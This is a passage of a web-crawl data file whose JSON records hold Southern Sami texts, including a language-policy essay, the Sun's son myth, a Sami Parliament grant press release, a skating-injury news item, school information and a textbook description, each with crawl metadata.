dïedth eah illesovvh jallh fååtesieh. Naemhtie aktem bijjieguvviem åadtjoeh mij nuepiem vadta viesjiesvoetide tjuvtjiedidh jïh råajvarimmieh raeriestidh. Edtja aelhkebe sjïdtedh saemienklaassh tseegkedh jïh aelhkebe sjïdtedh nuekies hijven lohkehtæjjah gïelelïerehtæmman åadtjodh. Moenehtse vihteste lïerehtimmie voestesgïelesne lea dïhte vihkielommes sjïere råajvarimmie, jïh vihkeles voestesgïele gaajhkine faagine åtnasåvva.\nIj leah gåessie gænnah aktem dagkeres gïehtjedimmiem lïerehtimmiesuerkeste dorjeme orrenöörjenlïerehtæmman. Ij leah gåessie gænnah vååksjeme mejtie orrenöörjenlearohkh sijjen reaktah åadtjoeh. Paehpierisnie orrenöörjen jïh gærjagïele mïrrestellieh, mearan rïektesisnie eevre jeatjahlaakan. Åssjaldahke göökte mïrrestallije nöörjen gïeli bïjre lea heaptojne orreme juktie öörnegen mietie jïh veele gïehtjedimmiem darjodh orrenöörjen sijjeste skuvlesne jïh maanagïertesne.\nGïele tjïeltine\nGosse åådtje vuejnedh guktie doh saemien digkiedimmieh gïeli bïjre juhtieh, dellie dïhte nuepieh vadta jeatjahlaakan gïelepolitihkese vuejnedh, mejgujmie ibie leah vaane. Ij leah ajve lïerehtimmiesuerkien bïjre, men aaj guktie struktuvrh gïeli bïjre leah meatan jïh dejtie vaarjelieh.\nSaemien reeremedajvemaalle dam gïeleldh dïedtem tjïeltide gorrede eevre jeatjahlaakan goh öörnege gïelenænnoestimmiejgujmie tjïeltine dorje. Saemien gïelemoenehtse sæjhta daam dïedtem nænnoesåbpoe darjodh gosse aktem soejkesjem kreava tjïeltijste reeremedajvesne guktie dah edtjieh gïelem nænnoestehtedh, jïh aktem öörnegem sjïehtesjidh gusnie tjïelth maehtieh meatan vaaltasovvedh saemien reeremedajvesne bielelen jienebelåhkoenænnoestimmie tjïeltine. Joekoen dïhte minngemes sæjhta tjïelten jïjtjeraarehkevoetem tsööpkedh mij lea nænnoes Nöörjesne. Men seamma tïjjen sæjhta reaktah dejtie gïeleldh unnebelåhkojde gorredidh.\nDååjrehtimmieh aarebi orrenöörjen gïelehistovrijistie nåake illedahkh dagkeres jienebelåhkoenænnoestimmijste vuesiehtieh. Goerehtimmieh vuesiehtieh guktie orrenöörjen Trööndelageste gaarvani gaajh onne gærjagïelejienebelåhkoej tjïrrh gosse edtjin steemmadidh dan bïjre tjïeltine, jïh dïhte orrenöörjen unnebelåhkoe varke sijjen reaktah dassin.\nJalhts dïhte orre tjïeltereforme daan mearan ij leah dan stoerre konsekvensh åådtjeme mejtie strerkiesti orrenöörjengïelese, dle ryöktesth vaahresne daelie tjåådtje, golme orrenöörjen tjïelth dassedh Rogalaantesne gosse dah tjåanghkan bïejesuvvieh stoere gærjagïele- jallh gïelenööjtraale tjïeltigujmie. Dan åvteste tjïelten dïedte orrenöörjen åvteste ij leah hammoedamme jallh krïeveme naan bijjemes instaanseste, dle daate maahta sjugniehtovvedh bielelen naan digkiedimmie, jïh bielelen staate mij dïedtem åtna mijjen gïeli åvteste, pryöjjede. Dïhte stoerre unnebelåhkoe mij aarebi jienebelåhkosne orreme, åådtje sov gæmhpoeh oktegh gæmhpodh.\nBåetijen aejkie\nTjuara luhpie årrodh nïekedidh. Gosse manne lohkem maam Saemien gïelemoenehtse sæjhta jïh man vijries dah ussjedieh juktie dejtie golme saemien gïelide gorredidh, dle manne nïekedem mijjieh ektesne maehtebe gaavnehtidh mej seamma aamhtesi åvteste mijjieh maehtebe gæmhpodh. Dïhte ideologeles åssjaldahkevuekie gïeleaamhtesistie Isak Sabam skreejrehti gosse dïhte vielie goh 100 jaepien gietjeste lohkehtæjjaskuvlem veedtsi Tromsøesne. Daelie åssjaldahkh dan saemien gïelebarkoen duekesne mah byöroeh gïelealmetjidie akten orre gïelepolitihkese skreejrehtidh.\nMagne Aasbrenn, tjaelije\nNoregs Mållag\/Nöörjen Gïelesiebrien åvtehke\nOmsett av Ellen Jonassen.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.nm.no\/tekst.cfm?path=10197&id=4228","date":"2019-12-09T01:17:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540515344.59\/warc\/CC-MAIN-20191208230118-20191209014118-00519.warc.gz","language":"sma","language_score":0.9999763966,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"sma_Latn_score\": 0.999976396560669}","num_words":924,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien hearra Anders Fjellner tjeeli maam saemijste govli. Dïhte tjaalegem Biejjien baernien såangoe Jeahnaj eatnamisnie tjeeli mam mijjieh saemien sjugniedimmie-eposine gåhtjobe. Daan eposen mietie saemieh leah Biejjien baernien jïh Jeahnan dakteren maanah «Biejjien maanah».\nBiejjie-baernien såangoe Jeahtnaj eatnamisnie\nNimhtie bïegkelamme, dovletje lin soptsestamme. Noerhte-naestien dubpielisnie, biejjie jïh aske jillielistie, sån eatneme gulleste jïh sïlpeste gååvnese. Desnie vaerieh mearosne klitnjiedieh. Dahkoe Biejjie-baernie sæjhta mudtedh. Ektine bööremes gaagkijigujmie abpe jaepiem mïnni.\nDovne biejjiem jïh askem vaesieh, gossege jeahnaj eatnemem jaksin. Desnie noere nïejte tjahkan, gaedtie-bealesne jïjtjemse bïssedeminie.\nNïejte minngemes Biejjie-baarnan vïjlele jïh gihtjie: - Gustie datne båatah, gie datne?\nBiejjie-baernie: - Manne leam biejjien baernie.\nBiejjie-baernie dellie jeahnan nïejtese såångedi jïh jeahnaj eatnamisnie vuekien mietie, faalan jïevehtahkesne pruvrigan.\nIdtji gujht jeahna dam hïejem lyjhkh. Jïh gosse elties daktere jïh Biejjie-baernie vïnhtsine bååstide saemiej eatnamasse mïnnijægan, dellie jeahna elkide stilli mïnngesne mïnnedh jïh Biejjie-baerniem buvvedh. Idtjin hov vïnhtsem jaksh.\nMinngemes Biejjie-baernie jïh jeahnan daktere bååstide biejjien eatnamasse böötin. Jïh dellie dej almetji vuekiej mietie vihth låahran jïh vuenjelen jïevehtahkesne pruvrijægan. Dellie aaj jeahnan daktere saemine sjïdti, maanadovvi jïh baerniejgujmie baersieldi. Dah baernieh lin daah vaajes-byögkeles Njallh-baernieh, saemie-almetji maadtoe.\nDah baernieh lin dan gïemhpes olles goh jeatjah almetjh maehtieh juvlelgidh. Dah naestine elmesne sjïdtin. Daelie dejtie vuejnebe goh Njallh jallh Jaahken-klaahka. Abpe daate vuelie soptseste guktie saemieh jïh biejjie ektiedin. Biejjie lij eatnemen vihkielommes faamoe. Dïhte saemide reaktam vedti Saemie-eatnamisnie jieledh.\nNjallh-baernieh = Gallabaernieh = Jaahken-klaahka = Orionen beelhte\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\n- Kjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:133755","date":"2019-12-12T21:30:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540547165.98\/warc\/CC-MAIN-20191212205036-20191212233036-00079.warc.gz","language":"sma","language_score":0.9998568296,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9998568296432495}","num_words":297,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten aejkien gosse datne edtjh maam akt jiehtedh, soptsestidh jallh tjaeledh, dellie tjoerh veeljedh guktie edtjh dam darjodh. Gïele dutnjien gellie nuepieh vadta jïh datne maahtah gïelem viehkie-dïrreginie nuhtjedh.\nDaennie teemesne åadtjoeh dah sïejhmemes gïeleviehkie-dïrregidie åahpenidh jïh lïeredh guktie dejtie nuhtjedh.\nGosse edtjh heamturem tjaeledh dellie tjoerh gïeleviehkie-dïrregh nuhtjedh mah sjangerasse sjiehtieh. Gaajhkesh mah tjaelieh jallh soptsestieh maehtieh dejtie seamma gïeleviehkie-dïrregidie nuhtjedh. Mijjieh joekehtslaakan veeljebe gåessie jïh guktie gïeleviehkie-dïrregidie nuhtjebe. Sjangere mijjem viehkehte sjiehteles gïeleviehkie-dïrregh veeljedh, men tjoerebe mujhtedh mijjieh veeljebe. Aaj vihkeles mujhtedh mijjieh væjkalåbpoe gïele-utnijinie sjïdtebe jis lïerebe gïeleviehkie-dïrregidie nuhtjedh.\nGosse edtjh tjaalegem analyseradidh jallh toelhkestidh dellie vihkele datne dah joekehtsh gïeleviehkie-dïrregh gaavnh. Tjoerh aaj mujhtedh gaavnedh mah funksjovnh dah utnieh. Men öövre vihkielommes aktene analysesne vuesiehtidh guktie gïeleviehkie-dïrregh tjaalegem\/teekstem tsevtsieh.\nAllegorijeKjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/","date":"2019-12-09T21:58:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540523790.58\/warc\/CC-MAIN-20191209201914-20191209225914-00263.warc.gz","language":"sma","language_score":0.9999219179,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999219179153442}","num_words":165,"character_repetition_ratio":0.167,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Mijjen gïelh leah mijjen vihkielommes identiteetevæhtaj gaskem jïh vihkeles kultuvreguedtije. Manne aavodem jeenjesh joe skraejriem vaalteme saemien gïelh våajnoes darjodh jïh gïelide eevtjedh, saemiedigkiepresidente Aili Keskitalo jeahta.Saemiedigkie lea daan raajan 774 000 kråvnah dåårjeme 1,1 millijovnh kråvnijste mah edtjieh sjïerelaakan råajvarimmide juhtedh mah saemien gïelh våajnoes darjoeh gïelejaepien sjïekenisnie IYIL 2019.\nDaesnie dåarjoeh Saemiedigkieraereste:\nKvænangen tjïelte 30 000 kråvnah dåarjojne åådtje prosjektese Gïeline åahpenidh. Prosjekte edtja saemien tjaaleldh, njaalmeldh jïh visuellelaakan våajnoes darjodh, jïh orre gïeleareenah sjugniedidh. Tjïelte sæjhta gaskem jeatjah saemien våajnoes darjodh lïhkes bovresne jïh tjïelten byögkeles gåetine tsïeglesjimmien tjïrrh. Prosjekte edtja aaj noeride skreejrehtidh gïelem nuhtjedh jeatjah sijjine goh skuvlesne, gaskem jeatjah darjomeiehkedem noeride öörnedidh.\nSaemiesiebrie Altesne Álttá sámiid searvi 132.000 kråvnah dåarjojne åådtje akten prosjektese mij edtja tjoevkesem bïejedh Alta-aksjovnese 40 jaepiej juassah. Prosjektesne gïele, histovrije jïh duedtie leah jarngesne.\nSoejkesje lea bussine mïnnedh gaajdine Null-punktesne sijjesne Stilla, desnie gusnie gïrrijh 40 jaepiej juassah jïjtjemse lïenghkine vïedteldin juktie deepmesjimmien vööste gïrredh Alta-Guovdageaidnu-jeanoste. Bussetuvren mænngan håalome sjædta Álttá Siidesne jïh digkiedimmie dan mænngan. Mænngan aaj duedtie-LAN sjædta bearjadahken raejeste aejlegen raajan goh jïjtjeraarehke öörnedimmie, jïh desnie saemien jïh duedtie edtjieh jarngesne årrodh.\nWikimedia Norge 200.000 kråvnah dåarjojne åådtje prosjektese Saemien digitaale gïeleareenah. Dah sijhtieh pilovtem akten ööhpehtimmiesoejkesjasse Wikipedia-redigeradæmman evtiedidh saemien gïeline. Barkoe daejnie pilovtine lea prosjektesæjroem darjodh Wikipediesne, jarkoestimmieh darjodh jïh ööhpehtimmiematerijellem evtiedidh.\nWikimedia Nöörje Saemien jïlleskuvline jïh Universiteetine Romsesne laavenjostoe. Gaervies illedahke dehtie tjïrrehtamme pilovteprosjekteste gaskem jeatjah orre jïh bueriedamme artihkelh sjædta tjaalasovveme Wikipediesne noerhtesaemien gïelesne.\nAarborten tjïelte 150 000 kråvnah dåarjojne åådtje gïeleråajvarimmide saemien gïelevåhkosne golken 2019. Dellie akte abpe våhkoe sjædta gïeledåarjojne maanide jïh geerve almetjidie, jïh dellie gaajhkh darjomh edtjieh åarjel- jïh noerhtesaemien gïeline laavkodh.\nDah edtjieh gaskem jeatjah jienebh ovmessie barkoetjåanghkoeh öörnedidh maanide jïh noeride, gaskem jeatjah teateren, graffitin jïh daanhtsoen sisnjeli. Dah edtjieh aaj konsertem öörnedidh jïh gïelen jïh identiteeten bïjre soptsestidh aktine saemien artistine. Dah aaj mojhteseseminaarem jïh vuasahtallemem Gaebpien Gåstan \/ Gustav Kappfjell jïh Jaahkenelkien Aannan \/Anna Jakobsen barkoen bïjre soejkesjamme, mah åarjelsaemien gïelem vaarjelin jïh bæjjese lutnjin, jïh konsertem soejkesjamme dej jieledebarkoejgujmie.\nDaan raajan 262.000 kråvnah saemien gïelejarngide dåårjeme mah leah darjomh soejkesjamme gïelevåhkoen, jïh jarngh leah fïereguhte 30.000 kråvnaj raajan åådtjeme darjomedåarjojne.\n- Sámi giella- ja kulturguovddáš – Porsáŋgu\/Porsanger\n- Giellasiida – Gáivuotna\/Kåfjord\n- Várdobáiki sámi guovddáš – Evenašši\/Evenes\n- Deanu giellagáddi – Deatnu\/Tana\n- Aajege - Saemien gïele- jïh maahtoejarnge – Röörose\/Røros\n- Ástávuona giellagoahtie – Loabát\/Lavangen\n- Gïelem nastedh – Snåase\/Snåsa\n- Storfjord språksenter – Omasvuotna\/ Storfjord\n- Gïeleaernie – Raarvihke\/Røyrvik\nSaemien gïelevåhkoe\nSaemien gïelevåhkoe, mij öörnesåvva golken 21.- 27.b. 2019 abpe laantesne, lea Saemiedigkien åejviemïerhkesjimmie EN:n gaskenasjonaale jaepeste aalkoealmetjegïelide. Raaktan daan våhkoen saemien gïelh edtjieh govledh jïh vååjnedh gaajhkem lehkiem.\nSaemiedigkiepresidente Aili Keskitalo gaajhkesidie haasta meatan årrodh saemien gïelevåhkosne.\n– Manne gegkestem gaajhkesh dovnesh sijhtieh meatan årrodh mïerhkesjidh jïh meatan årrodh öörnedimmine saemien gïelevåhkoen sjïekenisnie, jïh naemhtie viehkiehtidh guktie gïelevåhkoe dïhte gïelelutnjeme sjædta maam saemien gïelh daarpesjieh, Keskitalo jeahta.\nJis dov lea gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkiepresidentem Aili Keskitalo, mob. +47 971 29 305.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoe-gieleraaajvarimmide-aalkoealmetjegielejaepien-sjiekenisnie","date":"2019-12-08T18:07:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540514475.44\/warc\/CC-MAIN-20191208174645-20191208202645-00069.warc.gz","language":"sma","language_score":0.9999576807,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999576807022095}","num_words":449,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Preessebïevnese: Göökte ålmah mah sjeesadimmien rïjhke-laagesne*(*skøytelandslaget) lægan skïemtjegåatan saadtesovveme. Skïereden 24.biejjien dæjstan ligan Inzellesne Tysklaantesne saavreminie gosse haeviem åadtjoejigan.\nSimen Spieder Nilsen jïh Sverre Lund Pederesen ligan saavreminie gosse sygkeligujmie gupmiehtigan. Dah guaktah sneehpes-laakan drïekte utnigan jïh gåabpatjahkh ålmah laarhkenigan. Spieler Nilsen vearremes skaaram åadtjoeji jïh dïhte tjoeri elmie-ambulaansesne skïemtjegåatan Traunsteinese dåeriedidh. Lunde Pedersen tjoeri bïjle-ambulaansesne Trien skïemtjegåatan dåeriedidh.\nSkïemtjegåetesne doktovrh leah Spieler Nilsen sïektjedamme jïh vuartasjamme mejtie lea rudtjeste sjïdteme jallh aajla-jaamedahkem åådtjeme. Simen lea ïedtje jïh madtjeles juktie hijven gåaradi jïh duarstan jallh bearjadahken fihkie skïemtjegåeteste feeredh.\nSverre Lund Pedersen jeenjem laarhkeni jïh haeviem åtna, mohte ij leah måaram maarhvestamme. Dïhte maahta naanh våhkoen saavredh jïh dellie buerebe sjædta. Daan gaskebiejjien satne fihkie skïemtjegåeteste feeredh.\n-Daate ov-murreds saernieh. Saavredimmesne sïejhme haeviem åadtjodh, mohte læhkan ij leah luste Simenese maam aaj haeviem don jaepien åadtjoeji, saavredimmien åejvie Lasse Sætre jeahta.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/rorosnytt.no\/preessebievnese-gookte-almah-sjeesadimmien-rijhke-laagesne-laegan-skiemtjegaatan-saadtesovveme\/","date":"2019-12-16T04:31:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00503.warc.gz","language":"sma","language_score":0.9999706745,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999706745147705}","num_words":141,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelevåhkoe 2019\nDaatoe: Rïhkeden\/Golken 21.– 27. b. 2019\nSijjie: Abpe laante\nGïese: Amma gaajhkesh dovnesh leah bööresovveme!\nDatne naan aejkien onterdamme man åvteste saemien ij leah våajnoes tsïegline, mielhkiepaahkine jallh gaskeviermesne?\nSaemiedigkie sæjhta saemien edtja iemie jïh jielije bieline årrodh gaajhkesi aarkebiejjeste, jïh dan åvteste Gïelevåhkose böörede rïhkeden\/golken 21. b. – rïhkeden\/golken27.b. 2019.\nGïelevåhkoen tjïrrh Saemiedigkie sæjhta jarngese bïejedh saemien gïelh våajnoes\ndarjodh, gaajhkine bieline siebriedahkeste\nMaam datne maahtah darjodh? Beapmoelæstoem saemien gïelese jarkoestidh dennie\nvoenges prïhtjhgåetesne, gïeleprïhtjhgåetiem öörnedidh jallh Gïelevåhkoen plakaatem\ndov klaasesne gævnjoestidh.\nDagke dov leah jeatjah hijven åssjalommesh jïh sïjhth meatan årrodh Gïelevåhkosne?\nTjaelieh diekie firstname.lastname@example.org, jallh gaskesadth dov lïhkemes gïelejarngem!\nDaejnie datne Gïelevåhkose 2019 bööresovveme. Årrode meatan gïelelutnjemisnie!\nSïjhth maam aktjh darjodh Plassjesne bïevnesh Aajegen gåajkoeh, Toini Bergstrøm på mail email@example.com","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/aajege.no\/sma\/gielevahkoe-rorosesne\/","date":"2019-12-16T10:41:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541319511.97\/warc\/CC-MAIN-20191216093448-20191216121448-00415.warc.gz","language":"sma","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999862909317017}","num_words":117,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nTjïelten ööhpehtimmiereereme tjïelten gaajhkh skuvlehammoeh gïetede, aarhskuvleste geerveööhpehtæmman. Aaj frijjeskuvlh aarhskuvledaltesistie jåarhkeskuvledaltesasse gååvnesieh.\nAarhskuvle\nAarhskuvlesne nööremes maanah åadtjoeh pedagogeles barkojne meatan årrodh ööhpehtamme barkijigujmie. Aarhskuvle jïjtse learoesoejkesje åtna.\nMaanah 1-5 jaepien båeries reaktam utnieh sijjie aarhskuvlesne jis eejhtegh berkieh jallh lohkehtieh. Jis eejhtegh barkoste frijje onnemaanam geehtieh dellie båarasåbpoe maana reaktam åtna aarhskuvlesne 15 tæjmoeh fïerhten våhkosne. Aaj reaktam åtna jis eejhtegh barkoem ohtsedieh.\nEejhtegh gïeh berkieh jallh lohkehtieh aarhskuvlesijjien åvteste maeksieh. Maaksoe ryöknesåvva eejhtegi tjåenghkies baalhkan våarome.\nGaajhkh maanah 3 jaepien jïh 5 jaepien gaskem reaktam utnieh åesehts pedagogeles darjoemasse 15 tæjmoeh våhkosne, sïejhme aarhskuvle, jïlhts eejhtegh berkieh jallh eah barkh. Sïejhme aarhskuvle faalehte skïereden 1.b. raejeste suehpeden 31.b. raajan.\nAarhskuvlh gellie sijjine. Akte aarhskuvle faala maanasåjhtoem dejtie gïeh jïjjh jïh hïeljh berkieh.\nSïjhth datne aarhskuvlesijjiem ohtsedidh maahtah dam darjodh e-dïenesjen tjïrrh tjïelten webbesijjesne (goere sveerjengïelesne). Maahtah aaj ringkedh tjïelten viekselem 0660-880 00 jïh viehkiem åadtjodh. Ohtsedh unnemes njieljie askh åvteli sijjiem daarpesjh.\nAarhskuvleklaasse\nJaepesne gåessie maana 6 jaepie illie tjïelte faalenassem aarhskuvleklaassen bïjre eejhtegidie seedtie. Aarhskuvleklaasse jïjtjevyljehke jïh galka våaromem vedtedh goske maana skuvlem aalka.\nMaadthskuvle\nDah gïeh tjïeltesne tjaalasovveme åadtjoeh bööremem skuvleaalkose jaepesne gåessie maana 7 jaepie illie. Jis eah eejhtegh sjïere vaajtelassh utnieh dellie maana aalka skuvlesne mij lea lïhkemes dej årromesijjie.\nJis datne båatah tjïeltese maanine skuvleaalterisnie datne skuvleekspedisjovnem gaskesadth dajvesne gusnie årroeh. Jis ih daejrieh mij skuvledajve, tjïelten viekselem gaskesadth 0660-880 00 jïh datne viehkiem åadtjoeh.\nEejehtshïejme\nEejehtshïejme maanide 6-13 jaepieh, mah vååksjemem daarpesjieh skuvlen åvteli jallh mænngan. Barkoe skuvle learoesoejkesjen mietie. Eejehtshïejme skuvlen lïhke. Eejhtegh eejehtshïejmesijjien åvteste maeksieh.\nEejehtshïejmesijjiem ohtsedieh goeren tjïrrh tjïelten webbesijjesne (goere sveerjengïelesne). Maahtah aaj tjïelten viekselem ringkedh 0660-880 00 jïh viehkiem åadtjodh.\nKultuvreskuvle jïh teknihkeskuvle\nTjïelten kultuvreskuvle jïh teknihkeskuvle leah jïjtjevyljehke darjomh mejtie learohkh maehtieh ohtsedidh meatan årrodh skuvlen mænngan.\nSjïereskuvle\nLearohkh mah dåarjoem daarpesjieh skuvlesne edtjieh voestes ieresne dam åadtjodh skuvlesne mij lea gåetien lïhkemes. Learohkh ålvas svihtjemeheaptojne maehtieh, goerehtimmien mænngan jïh eejhtegi vaajtelassi mænngan åadtjoeh sijjiem sjïereskuvlesne. Maahta medisijnen, psykologijen, pedagogihken jallh sosijaalen sjiekieh våaroemisnie mah vuarjasjieh bööremes tsiehkieh learoehkasse vedtieh evtiedæmman jïh lïerehtæmman.\nJåarhkeskuvle\nOrrestaaren tjïelten jåarhkeskuvle lea Parkskolan jïh Nolaskolan. Gåabpatjahkh faelieh dovne teorijen jïh praktihken ööhpehtimmieh. Noerh gïeh gaarsjelieh jïh giej ulmieh elitedaltesasse nuepiem utnieh gaarsjelimmiejåarhkeskuvlese ohtsedidh mij nuepiem vadta gaarsjelidh jïh lohkedh.\nJollebe ööhpehtimmie\nOrrestaare faala dovne barkoejolleskuvleööhpehtimmieh jïh universiteeteööhpehtimmieh jïh dotkemh Upmejen universiteete ektesne. Aaj nuepiem gååvnese jeatjah skuvli kuvsjh maajeööhpehtimmine lohkedh.\nUniversiteetesijjie Orrestaaren jarngesne, bussi jïh tåågi lïhke. Studeenth åadtjoeh årromesijjiem jïh dan åvteste leejjemem maeksieh.\nGeerveööhpehtimmie jïh valideereme\nGeerve almetjh mah eah maahtoem utnieh maadthskuvledaltesisnie jallh jåarhkeskuvledaltesisnie nuepiem utnieh dej lohkemh lissiehtidh. Datne gie Orrestaaresne tjaalasovveme åadtjoeh tjïelten geerveööhpehtæmman ohtsedidh tjaktjen seamma jaepie goh datne 20 jaepieh illh. Ööhpehtimmie namhtah maadthvåaromen daltesisnie. Jåarhkeskuvledaltesisnie datne tjoerh ööhpehtimmiematerijaalh jïh litteratuvrh åestedh.\nDïhte gie jeatja laanten ööhpehtimmieöörnegen tjïrrh jallh jeatjah vuekien maahtoem åådtjeme nuepiem åtna sov maahtoem valideradidh. Valideeremen mænngan almetje maahta vïhtesjimmiem åadtjodh sov maahtoen bïjre. Gaskesadth geerveööhpehtimmiem: 0660-889 00.\nSveerjengïele sis-juhtijidie (sfi)\nTjïelten geerveööhpehtimmie faala sveerjengïele sis-juhtijidie (sfi) almetjidie gïeh eah maadthmaahtoem sveerjengïelesne utnieh. Datne tjoerh unnemes 16 jaepien båeries, tjïeltesne tjaalasovveme jïh ellies persovnenummerem utnedh jis sïjhth meatan årrodh. Sveerjengïele sis-juhtijidie maahta jeatjah ööhpehtimmine, barkojne jallh praktihkine aktanidh. Ööhpehtimmie namhtah.\nBïevnesh sfi:en bïjre, gaskesadth geerveööhpehtimmien kuraatorem: 0660-889 88.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/highcoastartvalley.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/skuvleoohpehtimmie.4.4c4feec515e441a88a91fa02.html","date":"2019-12-09T03:25:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540517156.63\/warc\/CC-MAIN-20191209013904-20191209041904-00533.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":54,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":511,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline åahpenidh 3. Lohkemegærja. Åarjelsaemien mubpiegïeline\nLohkemegærja mubpiegïeline, 3. daltesasse\nLesebok for andrespråk, nivå 3\nDaate lohkemegærja lea 3. daltesasse mubpiegïeline. Dah teksth leahovmessie sjangerinie jïh dovne åenehks jïh guhkie. Guvvieh gærjesneedtjieh vielie teksti bïjre soptsestidh. Dah edtjieh aaj viehkine årrodhjïh edtjieh teksten goerkesimmiem evtiedidh.\nBarkoegærja, bïhkedimmie lohkehtæjjide jïh CD aaj gååvnesieh.\nDenne leseboka er for nivå 3 andrespråk. Tekstene er i ulike sjangereog det er både korte og lange tekster. Illustrasjonene i boka skal fortelle mer om tekstene. Samtidig skal de være til hjelp for å fremmeforståelsen av teksten.\nI læreverket Gïeline åahpenidh 3 for andrespråk finnes også arbeids-bok, lærerveiledning og CD.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/solumforlag.no\/boker\/g%C3%AFeline-%C3%A5ahpenidh-3-lohkemeg%C3%A6rja-%C3%A5arjelsaemien-mubpieg%C3%AFeline","date":"2020-01-23T21:17:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250613416.54\/warc\/CC-MAIN-20200123191130-20200123220130-00439.warc.gz","language":"sma","language_score":0.9796149731,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 0.9796149730682373, \"nob_Latn_score\": 